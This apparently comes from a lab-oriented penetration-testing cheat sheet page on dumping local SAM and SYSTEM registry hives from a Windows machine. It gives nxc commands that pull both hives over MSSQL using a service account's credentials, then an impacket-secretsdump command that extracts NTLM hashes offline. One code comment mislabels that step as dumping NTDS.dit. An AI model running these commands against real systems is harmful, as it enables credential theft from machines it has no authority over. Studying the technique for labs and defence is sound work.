> For the complete documentation index, see [llms.txt](https://x7331.gitbook.io/boxes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://x7331.gitbook.io/boxes/tl-dr/active-directory/attacks/local-sam-dump.md).

# Local SAM Dump

If we have access to a `windows.old` directory or an old Windows backup, we can extract the `SYSTEM` and `SAM` registry hives to perform offline credential dumping:

* The `SAM` hive contains encrypted NTLM password hashes for local user accounts
* The `SYSTEM` hive holds the boot key required to decrypt them. 

{% code overflow="wrap" %}

```bash
# Download files with nxc
$ uv run nxc mssql <target-IP> -u sql_svc -p <pass> --get-file "c:\windows.old\windows\System32\SYSTEM" ./SYSTEM

$ uv run nxc mssql <target-IP> -u sql_svc -p <pass> --get-file "c:\windows.old\windows\System32\SAM" ./SAM

# Dump NTDS.dit
impacket-secretsdump -system SYSTEM -sam SAM LOCAL
```

{% endcode %}

> *This technique is conceptually the same as using* [*`mimikatz lsadump::sam`*](/boxes/tl-dr/active-directory/ad-tools/mimikatz.md#cached-creds)*, which performs the same operation but directly on a live system.*


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